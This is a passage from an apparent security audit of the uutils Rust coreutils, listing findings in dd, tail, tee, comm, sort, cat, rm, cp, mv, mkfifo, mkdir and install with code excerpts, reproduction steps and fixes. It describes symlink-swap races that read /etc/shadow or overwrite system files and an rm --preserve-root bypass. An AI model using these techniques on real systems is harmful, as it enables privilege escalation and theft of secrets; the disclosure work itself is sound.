        Self::Unbuffered(o) => o.truncate().ok(),
        Self::Buffered(o) => o.truncate().ok(),
    };
}
```

The `.ok()` suppression is intended for special files like `/dev/null`, but it also hides errors on regular files when truncation fails (disk full, read-only file system). GNU dd only ignores truncation failures for nonregular outputs; it reports failure for regular files and directories.

Impact

This can lead to silent data corruption. Backup scripts relying on dd may believe a copy succeeded when it actually contains old/garbage data, leading to undetected data loss during recovery.

Recommendations

We recommend returning `io::Result<()>` from `BlockWriter::truncate` and propagating errors for regular files/directories; only suppress for special outputs like `/dev/null`.

Remediation

This issue has been acknowledged by Canonical.

3.30. dd: When `write()` returns zero bytes, dd enters infinite loop

Target	dd		
Category	Coding Mistakes	Severity	Low
Likelihood	Low	Impact	Low

Description

When `iflags.fullblock` is set, `write_block` loops until the full buffer is written:

```
// dd/src/dd.rs:934-946
loop {
    match self.dst.write(&chunk[base_idx..]) {
        Ok(wlen) => {
            base_idx += wlen; // <-- Never advances if wlen == 0
            // take iflags.fullblock as oflags shall not have this option
            if (base_idx >= full_len) || !self.settings.iflags.fullblock {
                return Ok(base_idx); // <-- Never reached when write() returns
    0
            }
        }
        Err(e) if e.kind() == io::ErrorKind::Interrupted => (),
        Err(e) => return Err(e),
    }
}
```

If `write()` returns `Ok(0)` (observed with buggy drivers like `/dev/fd0`), `base_idx` never advances and the loop never terminates. GNU dd treats `write() == 0` as `ENOSPC`.

Impact

In rare cases, `dd` can spin forever, consuming CPU resources indefinitely and requiring manual termination.

Recommendations

Despite the rare likelihood, we recommend treating `Ok(0)` as `ENOSPC` to break the loop, matching GNU dd behavior as it is a low-effort fix.

Remediation

This issue has been acknowledged by Canonical.

3.31. dd: Insufficient O_DIRECT handling causes read failures on misaligned tail blocks

Target	dd		
Category	Completeness	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

The Read implementation in dd/src/dd.rs at lines 298–310 forwards directly to the underlying file handles and does not retry when O_DIRECT reads return EINVAL (misaligned tail blocks):

```
// dd/src/dd.rs:298-310
impl Read for Source {
    fn read(&mut self, buf: &mut [u8]) -> io::Result<usize> {
        match self {
            #[cfg(not(unix))]
            Self::Stdin(stdin) => stdin.read(buf),
            Self::File(f) => f.read(buf),
            #[cfg(unix)]
            Self::StdinFile(f) => f.read(buf),
            #[cfg(unix)]
            Self::Fifo(f) => f.read(buf),
        }
    }
}
```

The write path retries EINVAL by temporarily clearing O_DIRECT (handle_o_direct_write), but no equivalent retry logic exists for the read path.

The fallback does not fsync / fdatasync or discard cache after the buffered write, so direct I/O semantics can diverge from GNU dd for partial blocks.

Impact

There are two main impacts.

1. With iflag=direct, misaligned buffers can abort reads with EINVAL, causing unexpected failures on legitimate input files with nonaligned sizes.

2. With `oflag=direct`, the retry path may complete writes via buffered I/O without flush or cache invalidation, so direct I/O semantics can diverge from GNU dd for trailing partial blocks.

Recommendations

We recommend

1. adding an `EINVAL` retry path for direct reads (clear `O_DIRECT` for tail blocks), and
2. calling `fsync` / `fdatasync` and discarding cache on buffered fallback writes, or documenting the divergence from GNU dd behavior.

Remediation

This issue has been acknowledged by Canonical.

3.32. tail: Sensitive file exfiltration enabled as `--follow=name` accepts symlink replacements

Target	tail		
Category	Business Logic	**Severity**	High
Likelihood	Medium	**Impact**	High

Description

When using `--follow=name`, uutils tail continues after the watched path is replaced by a symlink, so it tails the symlink target. GNU tail instead refuses a path that becomes a symlink, printing "has been replaced with an untailable symbolic link".

The `handle_event` path in tail/src/follow/watch.rs calls `event_path.metadata()` (follows symlinks):

```
// tail/src/follow/watch.rs:325-326
if let Ok(new_md) = event_path.metadata() {  // <-- Follows symlinks, masking
    replacement
    let is_tailable = new_md.is_tailable();  // <-- Returns true for symlink
    target (e.g., /etc/passwd)
```

After a replacement like `testfile -> /etc/passwd`, `metadata()` returns the target's metadata (a regular file), so `is_tailable` stays true. We recommend using `symlink_metadata()` to detect the symlink replacement first.

Impact

This can lead to sensitive file exfiltration. When tail runs as root-monitoring logs, an attacker with directory write access can replace the file with a symlink to exfiltrate contents of sensitive files (e.g., `/etc/shadow`, private keys).

Recommendations

We recommend

1. using `symlink_metadata()` in `handle_event` to reject symlink replacements before calling `metadata()/is_tailable`, and

2. adding a follow-name `path_is_tailable` variant in tail/src/paths.rs that treats symlinks as untailable.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10397 ↗. They intend to merge these changes into the production branch.

3.33. tee: Premature termination with SIGPIPE when `--output-error` mode expects graceful handling

Target	tee		
Category	Completeness	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

GNU tee ignores SIGPIPE when `--output-error` is set (or `-p`), allowing broken-pipe writes to return EPIPE for in-process handling; uutils only resets SIGPIPE to default when no `output_error` mode is selected, and there is no SIGPIPE ignore path for warn/exit modes.

```
// tee/src/tee.rs:162-167
if options.ignore_interrupts {
    ignore_interrupts().map_err(|_| Error::from(ErrorKind::Other))?;
}
if options.output_error.is_none() {
    enable_pipe_errors().map_err(|_| Error::from(ErrorKind::Other))?; // <--
    No SIGPIPE ignore path when output_error is Some(...)
}
```

When `output_error` is `Some(...)`, SIGPIPE stays at the inherited setting rather than being ignored. GNU explicitly calls `signal(SIGPIPE, SIG_IGN)` when `output_error != output_error_sigpipe`.

Impact

In pipelines where outputs close early, uutils tee is terminated by SIGPIPE even when the user explicitly requested warn/exit behavior. This skips writes to remaining outputs and truncates data that should have been preserved.

The process yields signal-driven exit status (141) instead of the configured `--output-error` behavior.

Recommendations

We recommend

1. adding `ignore_pipe_errors()` near `enable_pipe_errors()` in `src/uucore/src/lib/features/signals.rs:415` to set `SIGPIPE` to `SigIgn`, and

2. calling `ignore_pipe_errors()` in tee/src/tee.rs when `options.output_error.is_some()`, otherwise keeping `enable_pipe_errors()`.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit 376d5b26 ↗.

3.34. comm: Lossy UTF-8 conversion corrupts non–UTF-8 output, silently altering file content

Target	comm		
Category	Soundness	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

Output in comm/src/comm.rs converts each line with `String::from_utf8_lossy()`, replacing invalid UTF-8 bytes with U+FFFD (three-byte replacement character):

```
// comm/src/comm.rs
236: print!("{}", String::from_utf8_lossy(ra));
...
247: print!("{delim_col_2}{}", String::from_utf8_lossy(rb));
...
259: print!("{delim_col_3}{}", String::from_utf8_lossy(ra));
```

GNU `comm` writes raw bytes directly to stdout, preserving byte-exact input. This causes non–UTF-8 content to be silently corrupted in uutils output.

Impact

Round-trip processing of binary or legacy-encoded files produces different content than input.

Recommendations

We recommend writing raw bytes to stdout via `std::io::Write` for all columns. This preserves byte-exact input/output like GNU `comm`, avoiding UTF-8 normalization.

Remediation

This issue has been acknowledged by Canonical.

3.35. comm: FIFO/pipe data is consumed before comparison, causing data loss or hangs

Target	comm		
Category	Coding Mistakes	**Severity**	Low
Likelihood	Medium	**Impact**	Low

Description

First, `are_files_identical` in comm/src/comm.rs compares sizes, and then it opens and reads both paths without confirming they are regular files:

```
// comm/src/comm.rs:129-142
pub fn are_files_identical(path1: &Path, path2: &Path) -> io::Result<bool> {
    // First compare file sizes
    let metadata1 = metadata(path1)?;
    let metadata2 = metadata(path2)?;

    if metadata1.len() != metadata2.len() {
        return Ok(false);
    }

    let file1 = File::open(path1)?;
    let file2 = File::open(path2)?;

    let mut reader1 = BufReader::new(file1);
    let mut reader2 = BufReader::new(file2);

    ...
```

It never checks `metadata.is_file()`, so if either path is a FIFO, pipe, or device node, the preread drains or blocks the stream before `comm` performs its real comparison. GNU `comm` streams each input once without this preread.

Impact

FIFO/pipe input can be consumed before output, causing silent data loss.

Additionally, `comm` can hang indefinitely on endless streams like `/dev/zero`.

Recommendations

We recommend only running `are_files_identical` for regular files, returning `Ok(false)` for FIFOs, pipes, devices, or sockets instead of opening them.

Remediation

This issue has been acknowledged by Canonical.

3.36. tail: The `exists()` precheck masks permission errors

Target	tail		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

The `tail_file` path in tail/src/tail.rs checks `path.exists()` before opening:

```
// tail/src/tail.rs:123-129
if !path.exists() { // <-- exists() returns false on EACCES, not just ENOENT
    set_exit_code(1);
    show_error!(
        "{}",
        translate!("tail-error-cannot-open-no-such-file", "file" =>
    input.display_name.clone(), "error" =>
    translate!("tail-no-such-file-or-directory"))
    );
    observer.add_bad_path(path, input.display_name.as_str(), false)?;
```

Since `Path::exists()` returns `false` on metadata errors (including `EACCES`), permission-denied files are reported as `No such file or directory` and the open is never attempted.

Impact

There are two main impacts.

1. Automation that relies on accurate error messages to distinguish between missing files and permission problems may take incorrect remediation actions (e.g., creating a file that already exists but is unreadable).
2. When using `--follow --retry`, the user sees `file not found` messages suggesting the file will appear later, when the actual issue is a permission problem that requires different intervention.

Recommendations

We recommend dropping the `path.exists()` precheck and attempting `File::open(path)` directly, mapping `NotFound` to the existing message while surfacing other errors (e.g.,

`PermissionDenied`) with their actual descriptions.

If a precheck is required for other logic, we recommend using `try_exists()` and treating `Err(e)` as a real error to be reported, not as equivalent to `false`.

Remediation

This issue has been acknowledged by Canonical.

3.37. sort: –files0-from requires UTF-8 / panics on non–UTF-8 file names

Target	sort		
Category	Soundness	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

When parsing NUL-separated file names via `--files0-from`, uutils `sort` enforces UTF-8 and uses `expect()`, causing an immediate panic when encountering valid non–UTF-8 paths. GNU `sort` treats file names as raw bytes and does not require UTF-8 encoding.

This commonly appears when `--files0-from` is fed by tooling that emits byte-accurate paths (e.g., `find -print0`) or when the file system legitimately contains non–UTF-8 filenames.

Here are the reproduction steps.

```
python3 - <<'PY'
open(b"weird\xffname", "wb").write(b"20\n10\n")
open("list0", "wb").write(b"weird\xffname\0")
PY

# GNU: prints sorted output
sort --files0-from=list0

# uutils: panics while parsing filenames
coreutils sort --files0-from=list0
```

Impact

There are two main impacts.

1. **Denial of service (crash).** First, `sort --files0-from` can be crashed reliably by including a non–UTF-8 file name in the input list.
2. **GNU incompatibility.** Scripts and pipelines that rely on byte-preserving file-name handling break in environments where non–UTF-8 file names exist.

Recommendations

Parse `--files0-from` entries as `OsString` / platform-native paths (raw bytes on Unix) instead of forcing UTF-8.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #11593 ↗. They intend to merge these changes into the production branch.

3.38. sort: The `-M` locale month-parsing gap

Target	sort		
Category	Completeness	**Severity**	Low
Likelihood	Medium	**Impact**	Low

Description

In GNU `sort`, `-M` (month sort) interprets month names/abbreviations according to the active locale (`LC_TIME` / `LC_ALL`); uutils `sort -M` only recognizes hardcoded English three-letter month abbreviations (`JAN..DEC`), so localized month text is not parsed as a month and is instead compared lexicographically.

Here are the reproduction steps. It requires a locale with non-English month abbreviations (e.g., `de_DE.UTF-8`).

```
printf 'Mär\nJan\n' | LC_ALL=de_DE.UTF-8 sort -M
printf 'Mär\nJan\n' | LC_ALL=de_DE.UTF-8 coreutils sort -M
```

For GNU, `Jan` sorts before `Mär`, and for uutils, `Jan` sorts after `Mär`.

Impact

Month-based sort order is incorrect in non-C/non-English locales, breaking compatibility for scripts that sort localized dates or month strings.

Recommendations

Implement locale-aware month parsing for `-M` (e.g., by building a month lookup table from the active locale via libc facilities such as `nl_langinfo(ABMON_1..ABMON_12)` / `strptime("%b")`), and fall back to the current English table only when locale month data is unavailable.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit `1658fc8f` ↗.

3.39. cat: Unix domain socket connect behavior

Target	cat		
Category	Business Logic	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

The uutils `cat` command treats paths that are Unix domain sockets as active endpoints; it connects to the socket via `connect()` and reads data from the server. GNU `cat` only performs `open()` and does not actively connect to Unix sockets (typically returning an error such as "No such device or address").

Here are the reproduction steps.

```
# Terminal 1: create a simple Unix socket server
python3 - <<'PY'
import os
import socket

path = "/tmp/tmp.sock"
try:
    os.unlink(path)
except FileNotFoundError:
    pass

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.bind(path)
s.listen(1)

conn, _ = s.accept()
conn.sendall(b"hello-from-socket\\n")
conn.close()
s.close()
PY

# Terminal 2:
cat /tmp/tmp.sock
coreutils cat /tmp/tmp.sock
```

GNU fails (e.g., "No such device or address"), while uutils connects successfully and prints output from the socket.

Impact

The `cat` command changes from passively reading files to actively connecting to local servers, which may trigger server-side side effects or leak data (e.g., accidental connection to privileged Unix sockets) and cause hangs or blocks.

Recommendations

Match GNU behavior; treat Unix domain sockets as nonreadable "files" for `cat`, and return an error instead of calling `connect()`.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit `7da2a2dd` ↗.

3.40. cat: Minor error-handling issues

Target	cat		
Category	Coding Mistakes	**Severity**	Low
Likelihood	Medium	**Impact**	Low

Description

The uutils `cat` implementation has inconsistent error handling between code paths:

1. When processing `read()` results, `write_fast` catches and propagates errors, but `write_lines` can silently swallow read errors. This can cause `cat` to exit successfully even when an input read fails.
2. During output writes, some call sites capture and handle the result of `write`, while others use `unwrap()`, which can crash the process when writes fail (e.g., I/O errors or certain broken-pipe situations).

These inconsistencies make failures either invisible (silent success) or unnecessarily fatal (panic), depending on flags and code path.

Impact

This can lead to the following issues.

1. **Silent data loss.** Read failures can be hidden, causing truncated or missing output without a nonzero exit code.
2. **Reliability issues.** Write failures can cause an unexpected crash instead of a controlled error message and exit status.

Recommendations

Make all read/write failures consistently propagate as errors with a nonzero exit status.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit `09f9d024` ↗.

3.41. tail: Obsolete -0 crashes

Target	tail		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

The uutils implementation accepts the obsolete `tail -NUM FILE` syntax with `NUM=0` (e.g., `tail -0 file`) and later hits an internal assertion in the backward-reading path, causing a panic/crash. GNU `tail` treats `-0` as meaning "print nothing" and exits normally.

Here are the reproduction steps.

```
seq 1 10000 > file.txt
coreutils tail -0 file.txt
```

GNU prints nothing, while uutils panics with an assertion failure.

Impact

This may lead to a reliable local denial of service (process crash) and GNU-incompatible behavior triggered by the obsolete `-NUM` syntax with `NUM=0`.

Recommendations

Handle `NUM=0` explicitly (print nothing and exit successfully), or reject the obsolete form with a controlled error; do not reach assertion-based invariants from user input.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit `3c55820f` ↗.

3.42. tee: On Linux's `-p`, `ensure_stdout_not_broken` can hang forever on pipes

Target	tee		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	High	**Impact**	Medium

Description

On Linux, uutils `tee -p` calls `ensure_stdout_not_broken()`, which performs an infinite `poll()` on stdout using only `POLLRDBAND`. In normal pipelines, this event is never delivered, so `tee` blocks before it starts copying stdin. GNU `tee` uses `iopoll()` on stdin and stdout and does not hang.

Here are the reproduction steps.

```
echo "test data" | coreutils tee -p /tmp/output.txt | cat
```

GNU prints `test data`, while uutils hangs indefinitely.

Impact

This may lead to pipeline deadlock / denial of service for Linux workflows that use `tee -p` in pipelines (logging pipelines, service wrappers, CI scripts).

Recommendations

Rework `ensure_stdout_not_broken()` to avoid indefinite blocking:

1. Poll the correct events (`POLLOUT` / `POLLHUP` / `POLLERR`) and include stdin in the polling set, matching GNU behavior.
2. Ensure the `-p` path never blocks before consuming stdin (or include a time-out and fall back to normal copy behavior).

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit ce08a434 ↗.

3.43. rmdir: GNU incompatible handling of symlinks with multiple trailing slashes

Target	File-system and file-paths manipulation		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Medium	**Impact**	Low

Description

As of the time of writing, the implementation of rmdir strips only a single trailing `/` before checking `is_symlink()`. For inputs like `link//` or `link///`, the derived `no_slash` path still ends with `/`.

```
let no_slash: &Path = OsStr::from_bytes(&bytes[..bytes.len() - 1]).as_ref();
```

On Linux, a trailing slash on a pathname whose final component is a symlink changes pathname resolution semantics.

Impact

For symlink operands with multiple trailing slashes, uutils may emit a different diagnostic than GNU. It can affect scripts that rely on diagnostic text.

Recommendations

Strip all trailing slashes before checking `is_symlink()`.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit `0566dfc6` ↗.

3.44. rm: `rm --preserve-root` bypass via symlink to `/`

Target	rm		
Category	Soundness	**Severity**	Critical
Likelihood	Medium	**Impact**	Critical

Description

The `--preserve-root` check in uutils `rm` uses a path-string test instead of device/inode:

```
// rm/src/rm.rs:699-700
let is_root = path.has_root() && path.parent().is_none();
if options.recursive && (!is_root || !options.preserve_root) {
```

This only inspects the path string, not the underlying file-system object. A symlink to `/` (e.g., `/tmp/rootlink -> /`) passes the check because `/tmp/rootlink` has a parent component. GNU `rm` caches the slash's (`/`) device/inode at startup and compares every traversed directory against those numbers, preventing symlink-based bypasses.

Impact

Running `rm -rf --preserve-root` on a path that resolves through a symlink to `/` bypasses the protection and can delete system directories.

Recommendations

Compare each entered directory's device/inode against cached `/` when `--preserve-root` is enabled.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit 5e5968cd ↗.

3.45. cp: When chown fails, -p retains setuid/setgid bits, creating unexpected privileged executables

Target	cp		
Category	Soundness	**Severity**	Low
Likelihood	Medium	**Impact**	Low

Description

When copying with -p (preserve attributes), uutils can apply the source mode bits (including setuid/setgid) even after ownership preservation fails.

The ownership and mode handlers in cp/src/cp.rs are independent:

```
// cp/src/cp.rs:1696-1711
// gnu compatibility: cp doesn't report an error if it fails to set the
    ownership,
// and will fall back to changing only the gid if possible.
if try_chown(Some(dest_uid)).is_err() {  // <-- Failure silently ignored
    let _ = try_chown(None);
}
Ok(())
})?;

handle_preserve(&attributes.mode, || -> CopyResult<()> {
    ...
    if !dest.is_symlink() {
        fs::set_permissions(dest, source_metadata.permissions())  // <--
    setuid/setgid bits re-applied despite chown failure
```

Because the chown error at line 1,698 is ignored, `set_permissions` at line 1,711 reapplies the original mode, including setuid/setgid bits. GNU clears those bits when ownership cannot be preserved.

Impact

There are two main impacts.

1. **Correctness/compatibility issues.** Behavior diverges from GNU coreutils, which clears setuid/setgid bits when ownership cannot be preserved.

2. **Policy footgun.** A user-owned copy can retain setuid/setgid bits (e.g., 4,755), which is unexpected and may violate local security policy.

Recommendations

If `chown` fails under `-p`, clear setuid/setgid bits before applying the source mode (GNU behavior).

Remediation

This issue has been acknowledged by Canonical.

3.46. mv: File ownership is lost on cross-device moves, breaking backups and migrations

Target	mv		
Category	Completeness	**Severity**	Low
Likelihood	Medium	**Impact**	Low

Description

When moving files across file-system boundaries, `mv` falls back to copy and delete. In `rename_file_fallback`, the Unix path uses `fs::copy()` without restoring source ownership:

```
// mv/src/mv.rs:1189-1192
// Regular file copy
#[cfg(all(unix, not(any(target_os = "macos", target_os = "redox"))))]
fs::copy(from, to)  // <-- Creates destination with caller's uid/gid, not
    source's
    .and_then(|_| fsxattr::copy_xattrs(&from, &to))
    .and_then(|_| fs::remove_file(from))
    .map_err(|err| io::Error::new(err.kind(),
    translate!("mv-error-permission-denied")))?;
```

The `fs::copy()` creates the destination with the caller's UID/GID. GNU `mv` preserves ownership by calling `chown()` after copying. The same omission appears in `copy_file_with_hardlinks_helper` (`mv/src/mv.rs:1123`) and `copy_dir_contents_recursive`, which calls `create_dir_all` (`mv/src/mv.rs:1056`).

Non-root users cannot preserve arbitrary ownership due to kernel restrictions, so the gap is most visible when `mv` runs as root.

Here are the reproduction steps.

```
touch /tmp/testfile
sudo chown 1000:1000 /tmp/testfile
sudo mount -t tmpfs tmpfs /mnt/other
sudo mv /tmp/testfile /mnt/other/
ls -ln /mnt/other/testfile  # shows 0:0 (root), should be 1000:1000
sudo umount /mnt/other
```

Impact

This issue has the following impacts.

- Root-run cross-device moves lose original ownership, causing files to become root owned unexpectedly.
- Admin scripts, backups, and migrations that expect `mv` to preserve metadata like a same–file-system rename will silently produce incorrect results.
- Restored files may become inaccessible to their intended owners or gain unintended elevated ownership.

Recommendations

After cross-device copying, attempt to `chown` the destination to the source UID/GID and ignore `EPERM` for non-root users, mirroring GNU `mv`.

Remediation

This issue has been acknowledged by Canonical.

3.47. mkfifo: Time-of-check to time-of-use race allows chmod to be redirected to arbitrary files via symlink swap

Target	mkfifo		
Category	Coding Mistakes	**Severity**	High
Likelihood	Medium	**Impact**	High

Description

The `mkfifo` command creates a FIFO with `mkfifo()` and then unconditionally performs a path-based `chmod` via `std::fs::set_permissions`:

```
// mkfifo/src/mkfifo.rs:41-59
for f in fifos {
    let err = unsafe {
        let name = CString::new(f.as_bytes()).unwrap();
        mkfifo(name.as_ptr(), 0o666)
    };
    if err == -1 {
        show!(USimpleError::new(
            1,
            translate!("mkfifo-error-cannot-create-fifo", "path" =>
    f.quote()),
        ));
    }

    // Explicitly set the permissions to ignore umask
    if let Err(e) = fs::set_permissions(&f, fs::Permissions::from_mode(mode))
    {  // <-- Path-based chmod follows symlinks
        return Err(USimpleError::new(
            1,
            translate!("mkfifo-error-cannot-set-permissions", "path" =>
    f.quote(), "error" => e),
        ));
    }
```

Between `mkfifo()` (line 44) and `fs::set_permissions()` (line 54), an attacker with write access to the parent directory can swap the FIFO for a symlink, redirecting the chmod to an arbitrary path.

When `-m` is not specified, the follow-up chmod is redundant because `mkfifo` already applies umask; `calculate_mode()` returns the same value (line 127).

Impact

When `mkfifo` runs with elevated privileges in an attacker-writable directory, the race can redirect chmod to an arbitrary path, potentially enabling privilege escalation.

Recommendations

We recommend the following.

1. If `-m` is not specified, pass the final mode to `mkfifo` and skip the follow-up chmod.
2. If `-m` is specified, avoid path-based chmod — open the FIFO with `O_NOFOLLOW`, verify it is still a FIFO via `fstat`, and then `fchmod` the fd.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10052. They intend to merge these changes into the production branch.

3.48. mkdir: -m exposes directory with incorrect permissions, allowing unauthorized access

Target	mkdir		
Category	Code Maturity	**Severity**	Low
Likelihood	Medium	**Impact**	Low

Description

In mkdir/src/mkdir.rs, `create_single_dir` creates the directory then applies the requested mode in a second syscall:

```
// mkdir/src/mkdir.rs:259-291
match std::fs::create_dir(path) {  // <-- Creates with 0o777 & ~umask
    (typically 0755)
    Ok(()) => {
        // ... verbose output, mode calculation ...
        chmod(path, new_mode)?;  // <-- Second syscall to apply requested mode
```

The `std::fs::create_dir` uses 0o777 masked by umask (typically 0755), then `chmod` switches it to the requested mode. The directory exists briefly with more permissive permissions than requested.

GNU mkdir avoids this by temporarily setting umask to `0` around the `mkdir(2)` call so the final mode is applied atomically.

Impact

This behavior introduces a brief exposure window in multiuser environments where directories intended to be private are created with more permissive permissions than requested.

Recommendations

We recommend setting umask to `0`, calling `mkdir` with the final mode (`DirBuilderExt::mode` or `libc::mkdir`), and then restoring umask to avoid the postcreate chmod window.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit 037b9583 ↗.

3.49. mv: Xattr preservation time-of-check to time-of-use allows security label inconsistency on cross-device moves

Target	mv		
Category	Soundness	**Severity**	Medium
Likelihood	Low	**Impact**	Medium

Description

When moving files across file-system boundaries, `mv` falls back to copy then delete. Xattr preservation in src/uucore/src/lib/features/fsxattr.rs (`copy_xattrs`, `retrieve_xattrs`, `apply_xattrs`) uses path-based operations that reresolve the path on each syscall:

```
// src/uucore/src/lib/features/fsxattr.rs:23-30
pub fn copy_xattrs<P: AsRef<Path>>(source: P, dest: P) -> std::io::Result<()>
    {
    for attr_name in xattr::list(&source)? {
        if let Some(value) = xattr::get(&source, &attr_name)? {
            xattr::set(&dest, &attr_name, &value)?;
        }
    }
    Ok(())
}
```

Each `xattr::list`, `xattr::get`, and `xattr::set` call performs a fresh path-to-inode lookup. Concurrent renames or symlink swaps between calls can redirect individual syscalls to different inodes, so the copied xattrs are not an atomic snapshot.

Impact

This has two main impacts.

1. **Correctness.** The destination file may receive an inconsistent mix of xattrs from different source inodes if the path is manipulated between syscalls.
2. **Security label inconsistency.** If a privileged process moves files with security xattrs (SELinux labels, capabilities), an attacker with control over the directory can race to swap a benign file for a sensitive one, causing content and labels to be observed or manipulated at different points in the operation.

Recommendations

Use fd-based xattr APIs — open-source and destination once, then list/get/set via file descriptors to keep the inode stable.

Additionally, avoid path-based xattr calls during cross-device moves.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10545. They intend to merge these changes into the production branch.

3.50. install: Time-of-check to time-of-use symlink race allows arbitrary file overwrites via unlink-then-create without O_EXCL

Target	install		
Category	Coding Mistakes	**Severity**	High
Likelihood	Medium	**Impact**	High

Description

The `copy_file` function in install/src/install.rs removes the destination and later recreates it by pathname without `O_EXCL` / `create_new`:

```
// install/src/install.rs:828-857
// fs::copy fails if destination is a invalid symlink.
// so lets just remove all existing files at destination before copy.
if let Err(e) = fs::remove_file(to) {  // <-- Unlinks destination, opening race
    window
    if e.kind() != std::io::ErrorKind::NotFound { ... }
}
// ... later, after the unlink ...
let mut dest = File::create(to)?;       // line 852: for devices/fifos  // <--
    Reopens by pathname without O_EXCL
// or:
copy_normal_file(from, to)?;            // line 857: uses fs::copy  // <--
    Also reopens by pathname
```

Between the unlink and the subsequent `File::create` / `fs::copy`, a local attacker with write access to the destination directory can swap in a symlink and redirect the write.

Impact

When install runs with elevated privileges in a directory writable by an attacker (misconfigured staging paths, world-writable build directories), the race window allows

1. redirecting privileged writes to arbitrary files by replacing the path with a symlink, and
2. overwriting sensitive system files (e.g., `/etc/passwd`, `/etc/shadow`) if the symlink target is attacker-controlled.

Recommendations

Use `create_new` / `O_EXCL` to atomically create the destination file. Also, copy via the opened file descriptor rather than reopening by pathname after unlink.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit `b5bbabc1` ↗.

3.51. install: Symlink race in `install -D` directory creation allows arbitrary file overwrites

Target	install		
Category	Soundness	**Severity**	High
Likelihood	Medium	**Impact**	High

Description

The `-D` path first creates parent directories using `fs::create_dir_all` on a pathname and then later opens the destination via path-based operations: `File::create` for special files (line 852) or `fs::copy` for regular files (line 796). Neither is anchored to a directory fd.

```
// install/src/install.rs:625
if let Err(e) = fs::create_dir_all(to_create) {  // <-- Path-based, not
    anchored to dirfd
    return Err(InstallError::CreateDirFailed(...));
}

// install/src/install.rs:852 (special files) or 796 (regular files via
    fs::copy)
let mut dest = File::create(to)?;  // <-- Second path resolution, race window
    exists
```

Between `create_dir_all` and `File::create`, an attacker can replace a path component with a symlink, redirecting the write to an arbitrary location.

Impact

This has two main impacts.

1. An attacker with concurrent write access to the destination tree can replace a path component with a symlink between directory creation and file install, redirecting the write to an arbitrary location.
2. This is exploitable when `install -D` runs privileged and writes to attacker-influenced paths, enabling arbitrary file overwrites with attacker-controlled content.

Recommendations

We recommend using dirfd-based traversal (`openat` / `mkdirat` + `O_NOFOLLOW`) for each component, then creating the destination with `openat` on the same dirfd while preserving overwrite/no-clobber semantics.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit 0c412999 ↗.

3.52. cp: Private file contents exposure through time-of-check to time-of-use race in permission handling

Target	cp		
Category	Coding Mistakes	**Severity**	High
Likelihood	Low	**Impact**	High

Description

The uutils `cp` implementation creates destination files with umask-derived permissions (e.g., 0644) and only later tightens to the final mode (e.g., 0600). That leaves a race window where another user can open the file before permissions are restricted; the file descriptor remains valid even after `chmod` runs.

The Linux sparse-copy path uses `File::create()` (umask-derived mode) before the later permission reset:

```
// cp/src/platform/linux.rs:173-178
fn sparse_copy<P>(source: P, dest: P) -> std::io::Result<()>
where
    P: AsRef<Path>,
{
    let mut src_file = File::open(source)?;
    let dst_file = File::create(dest)?;  // <-- Creates with umask permissions
    (e.g., 0644), not source mode
```

Permissions are restricted later in the main copy path:

```
// cp/src/cp.rs:2509
fs::set_permissions(dest, dest_permissions).ok();  // <-- Race window exists
    between creation and this call
```

Impact

This leads to two main impacts.

1. **Information disclosure in shared directories.** When copying files that should remain private (e.g., in `/tmp`), an attacker with access to the shared directory can race to open the file before `chmod` runs.

2. **Persistent access after permission tightening.** Once the attacker obtains a file descriptor during the race window, that descriptor remains valid and readable even after permissions are restricted to 0600.

Recommendations

We recommend creating destination files with restrictive permissions (e.g., 0600) across all creation paths then applying the final mode after the copy completes.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10011. They intend to merge these changes into the production branch.

3.53. cp: -R reads device nodes as streams, destroying device semantics in copied file-system trees

Target	cp		
Category	Soundness	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

When copying directories recursively, uutils treats character and block device nodes as stream sources and reads bytes into regular files at the destination. Because `is_stream()` classifies device nodes as streams, uutils never recreates them with `mknod`. GNU cp preserves device nodes by default and only reads their contents with `--copy-contents`. Recursive copies of chroot environments, initramfs staging, or container file systems break because device nodes lose their type and major/minor numbers (for example, `/dev/null` becomes a regular file).

Impact

Recursive copies of file-system trees containing device nodes produce incorrect results, breaking consumers that expect device semantics. Also, reading unbounded devices can consume disk and cause runtime denial of service.

Recommendations

We recommend

1. recreating character and block device nodes during recursive copies (preserving major/minor numbers) instead of reading them as streams, and
2. only reading device contents when `--copy-contents` is explicitly requested.

Remediation

This issue has been acknowledged by Canonical.

3.54. cp: GNU compatibility broken as `-p` unintentionally preserves extended attributes

Target	cp		
Category	Completeness	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

In `cp/src/cp.rs:895-902`, `Attributes::DEFAULT` sets `xattr: Preserve::Yes { required: true }`, so `-p` preserves extended attributes:

```
// cp/src/cp.rs:895-902
pub const DEFAULT: Self = Self {
    #[cfg(unix)]
    ownership: Preserve::Yes { required: true },
    mode: Preserve::Yes { required: true },
    timestamps: Preserve::Yes { required: true },
    xattr: Preserve::Yes { required: true }, // <--
    ..Self::NONE
};
```

GNU `cp -p` preserves only mode, ownership, and timestamps; xattrs require `--preserve=xattr` or `-a`.

